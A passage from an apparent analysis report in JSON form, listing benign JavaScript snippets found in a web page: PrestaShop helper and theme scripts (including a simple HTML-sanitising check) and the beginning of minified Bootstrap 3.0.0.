'boolean')\t\t\t\treturnString += ' : <em>' + element[property] + '</em>';\t\t\tif (typeof element[property] == 'string' && element[property])\t\t\t\treturnString += ': <div style=\"background:#C9C9C9;border:1px solid black; overflow:auto;\"><code>' +\t\t\t\t\t\t\t\t\telement[property].replace(/</g, '&amp;lt;').replace(/>/g, '&amp;gt;') + '</code></div>';\t\t\tif ((typeof element[property] == 'object') && (depth < limit))\t\t\t\treturnString += print_r(element[property], limit, (depth + 1));\t\t\treturnString += '</li>';\t\t}\t}\treturnString += '</ol>';\tif(depth == 0)\t{\t\twinpop = window.open(\"\", \"\",\"width=800,height=600,scrollbars,resizable\");\t\twinpop.document.write('<pre>'+returnString+ '</pre>');\t\twinpop.document.close();\t}\treturn returnString;}//verify if value is in the arrayfunction in_array(value, array){\tfor (var i in array)\t\tif ((array[i] + '') === (value + ''))\t\t\treturn true;\treturn false;}function isCleanHtml(content){\tvar events = 'onmousedown|onmousemove|onmmouseup|onmouseover|onmouseout|onload|onunload|onfocus|onblur|onchange';\tevents += '|onsubmit|ondblclick|onclick|onkeydown|onkeyup|onkeypress|onmouseenter|onmouseleave|onerror|onselect|onreset|onabort|ondragdrop|onresize|onactivate|onafterprint|onmoveend';\tevents += '|onafterupdate|onbeforeactivate|onbeforecopy|onbeforecut|onbeforedeactivate|onbeforeeditfocus|onbeforepaste|onbeforeprint|onbeforeunload|onbeforeupdate|onmove';\tevents += '|onbounce|oncellchange|oncontextmenu|oncontrolselect|oncopy|oncut|ondataavailable|ondatasetchanged|ondatasetcomplete|ondeactivate|ondrag|ondragend|ondragenter|onmousewheel';\tevents += '|ondragleave|ondragover|ondragstart|ondrop|onerrorupdate|onfilterchange|onfinish|onfocusin|onfocusout|onhashchange|onhelp|oninput|onlosecapture|onmessage|onmouseup|onmovestart';\tevents += '|onoffline|ononline|onpaste|onpropertychange|onreadystatechange|onresizeend|onresizestart|onrowenter|onrowexit|onrowsdelete|onrowsinserted|onscroll|onsearch|onselectionchange';\tevents += '|onselectstart|onstart|onstop';\tvar script1 = /<[\\s]*script/im;\tvar script2 = new RegExp('('+events+')[\\s]*=', 'im');\tvar script3 = /.*script\\:/im;\tvar script4 = /<[\\s]*(i?frame|embed|object)/im;\tif (script1.test(content) || script2.test(content) || script3.test(content) || script4.test(content))\t\treturn false;\treturn true;}function sleep(milliseconds){\tvar start = new Date().getTime();\tfor (var i = 0; i < 1e7; i++) {\t\tif ((new Date().getTime() - start) > milliseconds) {\t\t\tbreak;\t\t}\t}}$(document).ready(function(){\t// Hide all elements with .hideOnSubmit class when parent form is submit\t$('form').submit(function() {\t\t$(this).find('.hideOnSubmit').hide();\t});\t$.fn.checkboxChange = function(fnChecked, fnUnchecked) {\t\tif ($(this).prop('checked') && fnChecked)\t\t\tfnChecked.call(this);\t\telse if(fnUnchecked)\t\t\tfnUnchecked.call(this);\t\tif (!$(this).attr('eventCheckboxChange'))\t\t{\t\t\t$(this).on('change', function() { $(this).checkboxChange(fnChecked, fnUnchecked); });\t\t\t$(this).attr('eventCheckboxChange', true);\t\t}\t};\t// attribute target=\"_blank\" is not W3C compliant\t$('a._blank, a.js-new-window').attr('target', '_blank');});",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/*\r* 2007-2014 PrestaShop\r*\r* NOTICE OF LICENSE\r*\r* This source file is subject to the Academic Free License (AFL 3.0)\r* that is bundled with this package in the file LICENSE.txt.\r* It is also available through the world-wide-web at this URL:\r* http://opensource.org/licenses/afl-3.0.php\r* If you did not receive a copy of the license and are unable to\r* obtain it through the world-wide-web, please send an email\r* to license@prestashop.com so we can send you a copy immediately.\r*\r* DISCLAIMER\r*\r* Do not edit or add to this file if you wish to upgrade PrestaShop to newer\r* versions in the future. If you wish to customize PrestaShop for your\r* needs please refer to http://www.prestashop.com for more information.\r*\r* @author PrestaShop SA <contact@prestashop.com>\r* @copyright 2007-2014 PrestaShop SA\r* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)\r* International Registered Trademark & Property of PrestaShop SA\r*/\r//global variables\rvar responsiveflag = false;\r\r$(document).ready(function(){\r\r\t// flexslider arrows on hover \r\t$(\".flex-container\").hover(function () {\r\t\t$(\" ul.flex-direction-nav\").fadeToggle();\r\t}); \r\r // move headings h1\r\t$('#wpheading .container').not('body#index #wpheading .container').html($('#center_column h1, #module-bankwire-payment #center_column h2, #module-cheque-payment h2, #module-cashondelivery-validation h2, #cms #center_column .rte h2').not('.step-num'));\r\r // show search-bar\r\t$(\".search-icon\").click(function () {\r\t\t$(\"#searchbox\").fadeToggle();\r\t});\r\r\r\t // sticky header\r function stickyHeader () {\r\r var headerHeight = $(\"#header\").innerHeight();\r var page = $(\"#slider_row\");\r var $this = this;\r \r\r $this.checkstickyHeader = function() {\r\r\tif($(window).width() > 1199) {\r\t\tpage.css(\"padding-top\", headerHeight -5 + \"px\");\r\t}\r\telse {\r\t\tpage.css(\"padding-top\", \"0px\");\r\t}\r\r if($(window).scrollTop() > headerHeight && $(window).width() > 1199) {\r\r if($(\"#page\").hasClass(\"sticky-header\"))\r return false;\r\r $(\"#page\").removeClass(\"no-sticky-header\").addClass(\"sticky-header\"); \r\r } else {\r $(\"#page\").removeClass(\"sticky-header\").addClass(\"no-sticky-header\"); \r }\r }\r \r $this.checkstickyHeader();\r }\r\r\r\tstickyHeader();\t\r\thighdpiInit();\r\tresponsiveResize();\r\t$(window).resize(responsiveResize);\r\tif (navigator.userAgent.match(/Android/i))\r\t{\r\t\tvar viewport = document.querySelector('meta[name=\"viewport\"]');\r\t\tviewport.setAttribute('content', 'initial-scale=1.0,maximum-scale=1.0,user-scalable=0,width=device-width,height=device-height');\r\t\twindow.scrollTo(0, 1);\r\t}\r\tblockHover();\r\tif (typeof quickView !== 'undefined' && quickView)\r\t\tquick_view();\r\tdropDown();\r\r\tif (typeof page_name != 'undefined' && !in_array(page_name, ['index', 'product']))\r\t{\r\t\tbindGrid();\r\r \t\t$(document).on('change', '.selectProductSort', function(e){\r\t\t\tif (typeof request != 'undefined' && request)\r\t\t\t\tvar requestSortProducts = request;\r \t\t\tvar splitData = $(this).val().split(':');\r var url = '';\r\t\tif (typeof requestSortProducts != 'undefined' && requestSortProducts)\r\t\t\t{\r\t\t\t\turl += requestSortProducts ;\r\t\t\t\tif (typeof splitData[0] !== 'undefined' && splitData[0])\r\t\t\t\t{\r\t\t\t\t\turl += ( requestSortProducts.indexOf('?') < 0 ? '?' : '&') + 'orderby=' + splitData[0] + (splitData[1] ? '&orderway=' + splitData[1] : '');\r\t\t\t\t\tif (typeof splitData[1] !== 'undefined' && splitData[1])\r\t\t\t\t\t\turl += '&orderway=' + splitData[1];\r\t\t\t\t}\r\t\t\t\tdocument.location.href = url;\r\t\t\t}\r \t});\r\r\t\t$(document).on('change', 'select[name=\"n\"]', function(){\r\t\t\t$(this.form).submit();\r\t\t});\r\r $(document).on('change', 'select[name=\"currency_payment\"]', function(){\r\t\t\tsetCurrency($(this).val());\r\t\t});\r\t}\r \r $(document).on('change', 'select[name=\"manufacturer_list\"], select[name=\"supplier_list\"]', function(){\r if (this.value != '')\r location.href = this.value;\r });\r\r\t$(document).on('click', '.back', function(e){\r\t\te.preventDefault();\r\t\thistory.back();\r\t});\r\t\r\tjQuery.curCSS = jQuery.css;\r\tif (!!$.prototype.cluetip)\r\t\t$('a.cluetip').cluetip({\r\t\t\tlocal:true,\r\t\t\tcursor: 'pointer',\r\t\t\tdropShadow: false,\r\t\t\tdropShadowSteps: 0,\r\t\t\tshowTitle: false,\r\t\t\ttracking: true,\r\t\t\tsticky: false,\r\t\t\tmouseOutClose: true,\r\t\t\tfx: { \r\t\t \topen: 'fadeIn',\r\t\t \topenSpeed: 'fast'\r\t\t\t}\r\t\t}).css('opacity', 0.8);\r\r\tif (!!$.prototype.fancybox)\r\t\t$.extend($.fancybox.defaults.tpl, {\r\t\t\tcloseBtn : '<a title=\"' + FancyboxI18nClose + '\" class=\"fancybox-item fancybox-close\" href=\"javascript:;\"></a>',\r\t\t\tnext : '<a title=\"' + FancyboxI18nNext + '\" class=\"fancybox-nav fancybox-next\" href=\"javascript:;\"><span></span></a>',\r\t\t\tprev : '<a title=\"' + FancyboxI18nPrev + '\" class=\"fancybox-nav fancybox-prev\" href=\"javascript:;\"><span></span></a>'\r\t\t});\r\r // Close Alert messages\r $(\".alert.alert-danger\").on('click', this, function(e){\r if (e.offsetX >= 16 && e.offsetX <= 39 && e.offsetY >= 16 && e.offsetY <= 34)\r\t\t\t $(this).fadeOut();\r });\r\r \t// Execute on load\r stickyHeader();\r\r \t// Execute on scroll\r $(window).on(\"scroll\", function() {\r stickyHeader();\r });\r\r $(window).on(\"resize\", function() {\r stickyHeader();\r });\r\r});\r\rfunction highdpiInit()\r{\r\tif($('.replace-2x').css('font-size') == \"1px\")\r\t{\t\t\r\t\tvar els = $(\"img.replace-2x\").get();\r\t\tfor(var i = 0; i < els.length; i++)\r\t\t{\r\t\t\tsrc = els[i].src;\r\t\t\textension = src.substr( (src.lastIndexOf('.') +1) );\r\t\t\tsrc = src.replace(\".\" + extension, \"2x.\" + extension);\r\t\t\t\r\t\t\tvar img = new Image();\r\t\t\timg.src = src;\r\t\t\timg.height != 0 ? els[i].src = src : els[i].src = els[i].src;\r\t\t}\r\t}\r}\r\r// Used to compensante Chrome/Safari bug (they don't care about scroll bar for width)\rfunction scrollCompensate() \r{\r var inner = document.createElement('p');\r inner.style.width = \"100%\";\r inner.style.height = \"200px\";\r\r var outer = document.createElement('div');\r outer.style.position = \"absolute\";\r outer.style.top = \"0px\";\r outer.style.left = \"0px\";\r outer.style.visibility = \"hidden\";\r outer.style.width = \"200px\";\r outer.style.height = \"150px\";\r outer.style.overflow = \"hidden\";\r outer.appendChild(inner);\r\r document.body.appendChild(outer);\r var w1 = inner.offsetWidth;\r outer.style.overflow = 'scroll';\r var w2 = inner.offsetWidth;\r if (w1 == w2) w2 = outer.clientWidth;\r\r document.body.removeChild(outer);\r\r return (w1 - w2);\r}\r\rfunction responsiveResize()\r{\r compensante = scrollCompensate();\r if (($(window).width()+scrollCompensate()) <= 767 && responsiveflag == false)\r\t{\r\t\taccordion('enable');\r\t accordionFooter('enable');\r\t\tresponsiveflag = true;\t\r\t}\r\telse if (($(window).width()+scrollCompensate()) >= 768)\r\t{\r\t\taccordion('disable');\r\t\taccordionFooter('disable');\r\t responsiveflag = false; \r\t}\r}\r\rfunction blockHover(status)\r{\r\t$(document).off('mouseenter').on('mouseenter', '.product_list.grid li.ajax_block_product .product-container', function(e){\r\r\t\tif ($('body').find('.container').width() == 1140)\r\t\t{\r\t\t\tvar pcHeight = $(this).parent().outerHeight();\r\t\t\tvar pcPHeight = $(this).parent().find('.button-container').outerHeight() + $(this).parent().find('.comments_note').outerHeight() + $(this).parent().find('.functional-buttons').outerHeight();\r\t\t\t$(this).parent().addClass('hovered');\r\t\t\t// $(this).parent().css('height', pcHeight + pcPHeight).css('margin-bottom', pcPHeight * (-1));\r\t\t}\r\t});\r\r\t$(document).off('mouseleave').on('mouseleave', '.product_list.grid li.ajax_block_product .product-container', function(e){\r\t\tif ($('body').find('.container').width() == 1140)\r\t\t\t$(this).parent().removeClass('hovered').removeAttr('style');\r\t});\r}\r\rfunction quick_view()\r{\r\t$(document).on('click', '.quick-view:visible', function(e) \r\t{\r\t\te.preventDefault();\r\t\tvar url = this.rel;\r var anchor = '';\r\r\t\tif (url.indexOf('#') != -1)\r\t\t{\r\t\t\tanchor = url.substring(url.indexOf('#'), url.length);\r\t\t\turl = url.substring(0, url.indexOf('#'));\r\t\t}\r\r\t\tif (url.indexOf('?') != -1)\r\t\t\turl += '&';\r\t\telse\r\t\t\turl += '?';\r\r\t\tif (!!$.prototype.fancybox)\r\t\t\t$.fancybox({\r\t\t\t\t'padding': 0,\r\t\t\t\t'width': 1087,\r\t\t\t\t'height': 610,\r\t\t\t\t'type': 'iframe',\r\t\t\t\t'href': url + 'content_only=1' + anchor\r\t\t\t});\r\t});\r}\r\rfunction bindGrid()\r{\r\tvar view = $.totalStorage('display');\r \r if (!view && (typeof displayList != 'undefined') && displayList)\r view = 'list';\r\t\r if (view && view != 'grid')\r\t\tdisplay(view);\r\telse\r\t\t$('.display').find('li#grid').addClass('selected');\r\t\r\t$(document).on('click', '#grid', function(e){\r\t\te.preventDefault();\r\t\tdisplay('grid');\r\t});\r\r\t$(document).on('click', '#list', function(e){\r\t\te.preventDefault();\r\t\tdisplay('list');\r\t});\r}\r\rfunction display(view)\r{\r\tif (view == 'list')\r\t{\r\t\t$('ul.product_list').removeClass('grid').addClass('list');\r\t\t$('.product_list > li').removeClass('col-xs-12 col-sm-4 col-md-3 col-lg-3').addClass('col-xs-12');\r\t\t$('.product_list > li').each(function(index, element) {\r\t\t\thtml = '';\r\t\t\thtml = '<div class=\"product-container\"><div class=\"row\">';\r\t\t\t\thtml += '<div class=\"left-block col-xs-6 col-sm-4 col-md-4\"><div class=\"product-image-container\">' + $(element).find('.left-block .product-grid')[0].outerHTML + '</div></div>';\r\t\t\t\thtml += '<div class=\"center-block col-xs-6 col-sm-4 col-md-5\">';\r\t\t\t\t\thtml += '<div class=\"product-flags\">'+ $(element).find('.product-flags').html() + '</div>';\r\t\t\t\t\thtml += '<h5 itemprop=\"name\">'+ $(element).find('h5').html() + '</h5>';\r\t\t\t\t\tvar rating = $(element).find('.comments_note').html(); // check : rating\r\t\t\t\t\tif (rating != null) { \r\t\t\t\t\t\thtml += '<div itemprop=\"aggregateRating\" itemscope itemtype=\"http://schema.org/AggregateRating\" class=\"comments_note\">'+ rating + '</div>';\r\t\t\t\t\t}\r\t\t\t\t\thtml += '<p class=\"product-desc\">'+ $(element).find('.product-desc').html() + '</p>';\r\t\t\t\t\tvar colorList = $(element).find('.color-list-container').html();\r\t\t\t\t\tif (colorList != null) {\r\t\t\t\t\t\thtml += '<div class=\"color-list-container\">'+ colorList +'</div>';\r\t\t\t\t\t}\r\t\t\t\t\tvar availability = $(element).find('.availability').html();\t// check : catalog mode is enabled\r\t\t\t\t\tif (availability != null) {\r\t\t\t\t\t\thtml += '<span class=\"availability\">'+ availability +'</span>';\r\t\t\t\t\t}\r\t\t\t\thtml += '</div>';\t\r\t\t\t\thtml += '<div class=\"right-block col-xs-12 col-sm-4 col-md-3\"><div class=\"right-block-content row\">';\r\t\t\t\t\tvar price = $(element).find('.content_price').html(); // check : catalog mode is enabled\r\t\t\t\t\tif (price != null) { \r\t\t\t\t\t\thtml += '<div class=\"content_price col-xs-6 col-sm-12 col-md-12\">'+ price + '</div>';\r\t\t\t\t\t}\r\t\t\t\t\thtml += '<div class=\"button-container col-xs-6 col-sm-12 col-md-12\">'+ $(element).find('.button-container').html() +'</div>';\r\t\t\t\t\thtml += '<div class=\"functional-buttons clearfix col-sm-12\">' + $(element).find('.functional-buttons').html() + '</div>';\r\t\t\t\thtml += '</div>';\r\t\t\thtml += '</div></div>';\r\t\t$(element).html(html);\r\t\t});\t\t\r\t\t$('.display').find('li#list').addClass('selected');\r\t\t$('.display').find('li#grid').removeAttr('class');\r\t\t$.totalStorage('display', 'list');\r\t}\r\telse \r\t{\r\t\t$('ul.product_list').removeClass('list').addClass('grid');\r\t\t$('.product_list > li').removeClass('col-xs-12').addClass('col-xs-12 col-sm-4 col-md-3 col-lg-3');\r\t\t$('.product_list > li').each(function(index, element) {\r\t\thtml = '';\r\t\thtml += '<div class=\"product-container\">';\r\t\t\thtml += '<div class=\"left-block\"><div class=\"product-image-container\">' + $(element).find('.left-block .product-grid')[0].outerHTML + '<div class=\"product-flags\">' + $(element).find('.product-flags').html() + '</div>' + '<div class=\"functional-buttons functional-buttons-grid clearfix\">' + $(element).find('.functional-buttons').html() + '</div></div>';\r\t\t\thtml += '<div class=\"right-block\">';\r\t\t\t\thtml += '<div class=\"product-flags\">'+ $(element).find('.product-flags').html() + '</div>';\r\t\t\t\thtml += '<h5 itemprop=\"name\">'+ $(element).find('h5').html() + '</h5>';\r\t\t\t\tvar rating = $(element).find('.comments_note').html(); // check : rating\r\t\t\t\t\tif (rating != null) { \r\t\t\t\t\t\thtml += '<div itemprop=\"aggregateRating\" itemscope itemtype=\"http://schema.org/AggregateRating\" class=\"comments_note\">'+ rating + '</div>';\r\t\t\t\t\t}\r\t\t\t\thtml += '<p itemprop=\"description\" class=\"product-desc\">'+ $(element).find('.product-desc').html() + '</p>';\r\t\t\t\tvar price = $(element).find('.content_price').html(); // check : catalog mode is enabled\r\t\t\t\t\tif (price != null) { \r\t\t\t\t\t\thtml += '<div class=\"content_price\">'+ price + '</div>';\r\t\t\t\t\t}\r\t\t\t\thtml += '<div itemprop=\"offers\" itemscope itemtype=\"http://schema.org/Offer\" class=\"button-container\">'+ $(element).find('.button-container').html() +'</div>';\r\t\t\t\tvar colorList = $(element).find('.color-list-container').html();\r\t\t\t\tif (colorList != null) {\r\t\t\t\t\thtml += '<div class=\"color-list-container\">'+ colorList +'</div>';\r\t\t\t\t}\r\t\t\t\tvar availability = $(element).find('.availability').html(); // check : catalog mode is enabled\r\t\t\t\tif (availability != null) {\r\t\t\t\t\thtml += '<span class=\"availability\">'+ availability +'</span>';\r\t\t\t\t}\r\t\t\thtml += '</div>';\r\t\thtml += '</div>';\t\t\r\t\t$(element).html(html);\r\t\t});\r\t\t$('.display').find('li#grid').addClass('selected');\r\t\t$('.display').find('li#list').removeAttr('class');\r\t\t$.totalStorage('display', 'grid');\r\t}\t\r}\r\rfunction dropDown() \r{\r\telementClick = '#header .current';\r\telementSlide = 'ul.toogle_content'; \r\tactiveClass = 'active';\t\t\t \r\r\t$(elementClick).on('click', function(e){\r\t\te.stopPropagation();\r\t\tvar subUl = $(this).next(elementSlide);\r\t\tif(subUl.is(':hidden'))\r\t\t{\r\t\t\tsubUl.slideDown();\r\t\t\t$(this).addClass(activeClass);\t\r\t\t}\r\t\telse\r\t\t{\r\t\t\tsubUl.slideUp();\r\t\t\t$(this).removeClass(activeClass);\r\t\t}\r\t\t$(elementClick).not(this).next(elementSlide).slideUp();\r\t\t$(elementClick).not(this).removeClass(activeClass);\r\t\te.preventDefault();\r\t});\r\r\t$(elementSlide).on('click', function(e){\r\t\te.stopPropagation();\r\t});\r\r\t$(document).on('click', function(e){\r\t\te.stopPropagation();\r\t\tvar elementHide = $(elementClick).next(elementSlide);\r\t\t$(elementHide).slideUp();\r\t\t$(elementClick).removeClass('active');\r\t});\r}\r\rfunction accordionFooter(status)\r{\r\tif(status == 'enable')\r\t{\r\t\t$('#footer .footer-block h4').on('click', function(){\r\t\t\t$(this).toggleClass('active').parent().find('.toggle-footer').stop().slideToggle('medium');\r\t\t})\r\t\t$('#footer').addClass('accordion').find('.toggle-footer').slideUp('fast');\r\t}\r\telse\r\t{\r\t\t$('.footer-block h4').removeClass('active').off().parent().find('.toggle-footer').removeAttr('style').slideDown('fast');\r\t\t$('#footer').removeClass('accordion');\r\t}\r}\r\rfunction accordion(status)\r{\r\tleftColumnBlocks = $('#left_column');\r\tif(status == 'enable')\r\t{\r\t\tvar accordion_selector = '#right_column .block .title_block, #left_column .block .title_block, #left_column #newsletter_block_left h4,' +\r\t\t\t\t\t\t\t\t'#left_column .shopping_cart > a:first-child, #right_column .shopping_cart > a:first-child';\r\r\t\t$(accordion_selector).on('click', function(e){\r\t\t\t$(this).toggleClass('active').parent().find('.block_content').stop().slideToggle('medium');\r\t\t});\r\t\t$('#right_column, #left_column').addClass('accordion').find('.block .block_content').slideUp('fast');\r if (typeof(ajaxCart) !== 'undefined')\r\t\t\tajaxCart.collapse();\r\t}\r\telse\r\t{\r\t\t$('#right_column .block .title_block, #left_column .block .title_block, #left_column #newsletter_block_left h4').removeClass('active').off().parent().find('.block_content').removeAttr('style').slideDown('fast');\r\t\t$('#left_column, #right_column').removeClass('accordion');\r\t}\r}",
"relationship": "Contained_Inside",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/*** bootstrap.js v3.0.0 by @fat and @mdo* Copyright 2013 Twitter Inc.* http://www.apache.org/licenses/LICENSE-2.0*/if(!jQuery)throw new Error(\"Bootstrap requires jQuery\");+function(a){\"use strict\";function b(){var a=document.createElement(\"bootstrap\"),b={WebkitTransition:\"webkitTransitionEnd\",MozTransition:\"transitionend\",OTransition:\"oTransitionEnd otransitionend\",transition:\"transitionend\"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]}}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one(a.support.transition.end,function(){c=!0});var e=function(){c||a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b()})}(window.jQuery),+function(a){\"use strict\";var b='[data-dismiss=\"alert\"]',c=function(c){a(c).on(\"click\",b,this.close)};c.prototype.close=function(b){function c(){f.trigger(\"closed.bs.alert\").remove()}var d=a(this),e=d.attr(\"data-target\");e||(e=d.attr(\"href\"),e=e&&e.replace(/.*(?=#[^\\s]*$)/,\"\"));var f=a(e);b&&b.preventDefault(),f.length||(f=d.hasClass(\"alert\")?d:d.parent()),f.trigger(b=a.Event(\"close.bs.alert\")),b.isDefaultPrevented()||(f.removeClass(\"in\"),a.support.transition&&f.hasClass(\"fade\")?f.one(a.support.transition.end,c).emulateTransitionEnd(150):c())};var d=a.fn.alert;a.fn.alert=function(b){return this.each(function(){var d=a(this),e=d.data(\"bs.alert\");e||d.data(\"bs.alert\",e=new c(this)),\"string\"==typeof b&&e[b].call(d)})},a.fn.alert.Constructor=c,a.fn.alert.noConflict=function(){return a.fn.alert=d,this},a(document).on(\"click.bs.alert.data-api\",b,c.prototype.close)}(window.jQuery),+function(a){\"use strict\";var b=function(c,d){this.$element=a(c),this.options=a.extend({},b.DEFAULTS,d)};b.DEFAULTS={loadingText:\"loading...\"},b.prototype.setState=function(a){var b=\"disabled\",c=this.$element,d=c.is(\"input\")?\"val\":\"html\",e=c.data();a+=\"Text\",e.resetText||c.data(\"resetText\",c[d]()),c[d](e[a]||this.options[a]),setTimeout(function(){\"loadingText\"==a?c.addClass(b).attr(b,b):c.removeClass(b).removeAttr(b)},0)},b.prototype.toggle=function(){var a=this.$element.closest('[data-toggle=\"buttons\"]');if(a.length){var b=this.$element.find(\"input\").prop(\"checked\",!this.$element.hasClass(\"active\")).trigger(\"change\");\"radio\"===b.prop(\"type\")&&a.find(\".active\").removeClass(\"active\")}this.$element.toggleClass(\"active\")};var c=a.fn.button;a.fn.button=function(c){return this.each(function(){var d=a(this),e=d.data(\"bs.button\"),f=\"object\"==typeof c&&c;e||d.data(\"bs.button\",e=new b(this,f)),\"toggle\"==c?e.toggle():c&&e.setState(c)})},a.fn.button.Constructor=b,a.fn.button.noConflict=function(){return a.fn.button=c,this},a(document).on(\"click.bs.button.data-api\",\"[data-toggle^=button]\",function(b){var c=a(b.target);c.hasClass(\"btn\")||(c=c.closest(\".btn\")),c.button(\"toggle\"),b.preventDefault()})}(window.jQuery),+function(a){\"use strict\";var b=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(\".carousel-indicators\"),this.options=c,this.paused=this.sliding=this.interval=this.$active=this.$items=null,\"hover\"==this.options.pause&&this.$element.on(\"mouseenter\",a.proxy(this.pause,this)).on(\"mouseleave\",a.proxy(this.cycle,this))};b.DEFAULTS={interval:5e3,pause:\"hover\",wrap:!0},b.prototype.cycle=function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},b.prototype.getActiveIndex=function(){return this.$active=this.$element.find(\".item.active\"),this.$items=this.$active.parent().children(),this.$items.index(this.$active)},b.prototype.to=function(b){var c=this,d=this.getActiveIndex();return b>this.$items.length-1||0>b?void 0:this.sliding?this.$element.one(\"slid\",function(){c.to(b)}):d==b?this.pause().cycle():this.slide(b>d?\"next\":\"prev\",a(this.$items[b]))},b.prototype.pause=function(b){return b||(this.paused=!0),this.$element.find(\".next, .prev\").length&&a.support.transition.end&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},b.prototype.next=function(){return this.sliding?void 0:this.slide(\"next\")},b.prototype.prev=function(){return this.sliding?void 0:this.slide(\"prev\")},b.prototype.slide=function(b,c){var d=this.$element.find(\".item.active\"),e=c||d[b](),f=this.interval,g=\"next\"==b?\"left\":\"right\",h=\"next\"==b?\"first\":\"last\",i=this;if(!e.length){if(!this.options.wrap)return;e=this.$element.find(\".item\")[h]()}this.sliding=!0,f&&this.pause();var j=a.Event(\"slide.bs.carousel\",{relatedTarget:e[0],direction:g});if(!e.hasClass(\"active\")){if(this.$indicators.length&&(this.$indicators.find(\".active\").removeClass(\"active\"),this.$element.one(\"slid\",function(){var b=a(i.$indicators.children()[i.getActiveIndex()]);b&&b.addClass(\"active\")})),a.support.transition&&this.$element.hasClass(\"slide\")){if(this.$element.trigger(j),j.isDefaultPrevented())return;e.addClass(b),e[0].offsetWidth,d.addClass(g),e.addClass(g),d.one(a.support.transition.end,function(){e.removeClass([b,g].join(\" \")).addClass(\"active\"),d.removeClass([\"active\",g].join(\" \")),i.sliding=!1,setTimeout(function(){i.$element.trigger(\"slid\")},0)}).emulateTransitionEnd(600)}else{if(this.$element.trigger(j),j.isDefaultPrevented())return;d.removeClass(\"active\"),e.addClass(\"active\"),this.sliding=!1,this.$element.trigger(\"slid\")}return f&&this.cycle(),this}};var c=a.fn.carousel;a.fn.carousel=function(c){return this.each(function(){var d=a(this),e=d.data(\"bs.carousel\"),f=a.extend({},b.DEFAULTS,d.data(),\"object\"==typeof c&&c),g=\"string\"==typeof c?c:f.slide;e||d.data(\"bs.carousel\",e=new b(this,f)),\"number\"==typeof c?e.to(c):g?e[g]():f.interval&&e.pause().cycle()})},a.fn.carousel.Constructor=b,a.fn.carousel.noConflict=function(){return a.fn.carousel=c,this},a(document).on(\"click.bs.carousel.data-api\",\"[data-slide], [data-slide-to]\",function(b){var c,d=a(this),e=a(d.attr(\"data-target\")||(c=d.attr(\"href\"))&&c.replace(/.*(?=#[^\\s]+$)/,\"\")),f=a.extend({},e.data(),d.data()),g=d.attr(\"data-slide-to\");g&&(f.interval=!1),e.carousel(f),(g=d.attr(\"data-slide-to\"))&&e.data(\"bs.carousel\").to(g),b.preventDefault()}),a(window).on(\"load\",function(){a('[data-ride=\"carousel\"]').each(function(){var b=a(this);b.carousel(b.data())})})}(window.jQuery),+function(a){\"use strict\";var b=function(c,d){this.$element=a(c),this.options=a.extend({},b.DEFAULTS,d),this.transitioning=null,this.options.parent&&(this.$parent=a(this.options.parent)),this.options.toggle&&this.toggle()};b.DEFAULTS={toggle:!0},b.prototype.dimension=function(){var a=this.$element.hasClass(\"width\");return a?\"width\":\"height\"},b.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass(\"in\")){var b=a.Event(\"show.bs.collapse\");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.$parent&&this.$parent.find(\"> .panel > .in\");if(c&&c.length){var d=c.data(\"bs.collapse\");if(d&&d.transitioning)return;c.collapse(\"hide\"),d||c.data(\"bs.collapse\",null)}var e=this.dimension();this.$element.removeClass(\"collapse\").addClass(\"collapsing\")[e](0),this.transitioning=1;var f=function(){this.$element.removeClass(\"collapsing\").addClass(\"in\")[e](\"auto\"),this.transitioning=0,this.$element.trigger(\"shown.bs.collapse\")};if(!a.support.transition)return f.call(this);var g=a.camelCase([\"scroll\",e].join(\"-\"));this.$element.one(a.support.transition.end,a.proxy(f,this)).emulateTransitionEnd(350)[e](this.$element[0][g])}}},b.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass(\"in\")){var b=a.Event(\"hide.bs.collapse\");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$element[c](this.$element[c]())[0].offsetHeight,this.$element.addClass(\"collapsing\").removeClass(\"collapse\").removeClass(\"in\"),this.transitioning=1;var d=function(){this.transitioning=0,this.$element.trigger(\"hidden.bs.collapse\").removeClass(\"collapsing\").addClass(\"collapse\")};return a.support.transition?(this.$element[c](0).one(a.support.transition.end,a.proxy(d,this)).emulateTransitionEnd(350),void 0):d.call(this)}}},b.prototype.toggle=function(){this[this.$element.hasClass(\"in\")?\"hide\":\"show\"]()};var c=a.fn.collapse;a.fn.collapse=function(c){return this.each(function(){var d=a(this),e=d.data(\"bs.collapse\"),f=a.extend({},b.DEFAULTS,d.data(),\"object\"==typeof c&&c);e||d.data(\"bs.collapse\",e=new b(this,f)),\"string\"==typeof c&&e[c]()})},a.fn.collapse.Constructor=b,a.fn.collapse.noConflict=function(){return a.fn.collapse=c,this},a(document).on(\"click.bs.collapse.data-api\",\"[data-toggle=collapse]\",function(b){var c,d=a(this),e=d.attr(\"data-target\")||b.preventDefault()||(c=d.attr(\"href\"))&&c.replace(/.*(?=#[^\\s]+$)/,\"\"),f=a(e),g=f.data(\"bs.collapse\"),h=g?\"toggle\":d.data(),i=d.attr(\"data-parent\"),j=i&&a(i);g&&g.transitioning||(j&&j.find('[data-toggle=collapse][data-parent=\"'+i+'\"]').not(d).addClass(\"collapsed\"),d[f.hasClass(\"in\")?\"addClass\":\"removeClass\"](\"collapsed\")),f.collapse(h)})}(window.jQuery),+function(a){\"use strict\";function b(){a(d).remove(),a(e).each(function(b){var d=c(a(this));d.hasClass(\"open\")&&(d.trigger(b=a.Event(\"hide.bs.dropdown\")),b.isDefaultPrevented()||d.removeClass(\"open\").trigger(\"hidden.bs.dropdown\"))})}function c(b){var c=b.attr(\"data-target\");c||(c=b.attr(\"href\"),c=c&&/#/.test(c)&&c.replace(/.*(?=#[^\\s]*$)/,\"\"));var d=c&&a(c);return d&&d.length?d:b.parent()}var 